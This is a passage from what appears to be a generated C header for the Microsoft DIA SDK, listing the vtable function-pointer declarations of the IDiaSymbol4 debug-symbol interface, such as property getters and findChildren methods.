STDMETHODCALLTYPE *get_virtual )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intro )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_pure )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_callingConvention )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_value )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ VARIANT *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseType )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_token )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_timeStamp )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_guid )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ GUID *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symbolsFileName )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_reference )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_count )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bitPosition )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexType )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_packed )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constructor )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_overloadedOperator )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_nested )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasNestedTypes )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAssignmentOperator )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasCastOperator )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_scoped )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseClass )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_indirectVirtualBaseClass )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBasePointerOffset )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShape )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParentId )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParentId )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_typeId )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexTypeId )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShapeId )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_function )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_managed )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_msil )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseDispIndex )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_undecoratedName )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_age )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_signature )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerGenerated )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressTaken )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_rank )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBound )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBound )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBoundId )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBoundId )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_dataBytes )( \n            IDiaSymbol4 * This,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildren )( \n            IDiaSymbol4 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenEx )( \n            IDiaSymbol4 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByAddr )( \n            IDiaSymbol4 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByVA )( \n            IDiaSymbol4 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByRVA )( \n            IDiaSymbol4 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetSection )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetOffset )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetRelativeVirtualAddress )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetVirtualAddress )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_machineType )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemId )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemSymbolId )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_types )( \n            IDiaSymbol4 * This,\n            /* [in] */ DWORD cTypes,\n            /* [out] */ DWORD *pcTypes,\n            /* [size_is][size_is][out] */ IDiaSymbol **pTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_typeIds )( \n            IDiaSymbol4 * This,\n            /* [in] */ DWORD cTypeIds,\n            /* [out] */ DWORD *pcTypeIds,\n            /* [size_is][out] */ DWORD *pdwTypeIds);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectPointerType )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_udtKind )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_undecoratedNameEx )( \n            IDiaSymbol4 * This,\n            /* [in] */ DWORD undecorateOptions,\n            /* [out] */ BSTR *name);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noReturn )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_customCallingConvention )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noInline )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_optimizedCodeDebugInfo )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notReached )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_interruptReturn )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_farReturn )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStatic )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasDebugInfo )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLTCG )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isDataAligned )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSecurityChecks )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerName )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAlloca )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSetJump )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasLongJump )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasInlAsm )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEH )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSEH )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEHa )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isNaked )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAggregated )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSplitted )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_container )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlSpec )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noStackOrdering )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseTableType )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasManagedCode )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHotpatchable )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCVTCIL )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMSILNetmodule )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCTypes )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStripped )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndQFE )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndQFE )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_wasInlined )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_strictGSCheck )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCxxReturnUdt )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isConstructorVirtualBase )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RValueReference )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedType )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePointerPresent )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSafeBuffers )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intrinsic )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sealed )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaFloat )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaDouble )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressSection )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressOffset )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartRelativeVirtualAddress )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_countLiveRanges )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeLength )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offsetInUdt )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_paramBasePointerRegisterId )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_localBasePointerRegisterId )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLocationControlFlowDependent )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_stride )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRows )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfColumns )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMatrixRowMajor )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_numericProperties )( \n            IDiaSymbol4 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ DWORD *pProperties);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_modifierValues )( \n            IDiaSymbol4 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ WORD *pModifiers);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isReturnValue )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedAway )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_builtInKind )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerType )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataSlot )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataOffset )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_textureSlot )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_samplerSlot )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uavSlot )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sizeInUdt )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_memorySpaceKind )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedTypeId )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subTypeId )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subType )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfModifiers )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRegisterIndices )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHLSLData )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToDataMember )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToMemberFunction )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSingleInheritance )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMultipleInheritance )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isVirtualInheritance )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_restrictedType )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerBasedOnSymbolValue )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbol )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbolId )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectFileName )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorGroupSharedLocal )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorPointerTagLiveRange )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorStubFunction )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfAcceleratorPointerTags )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT 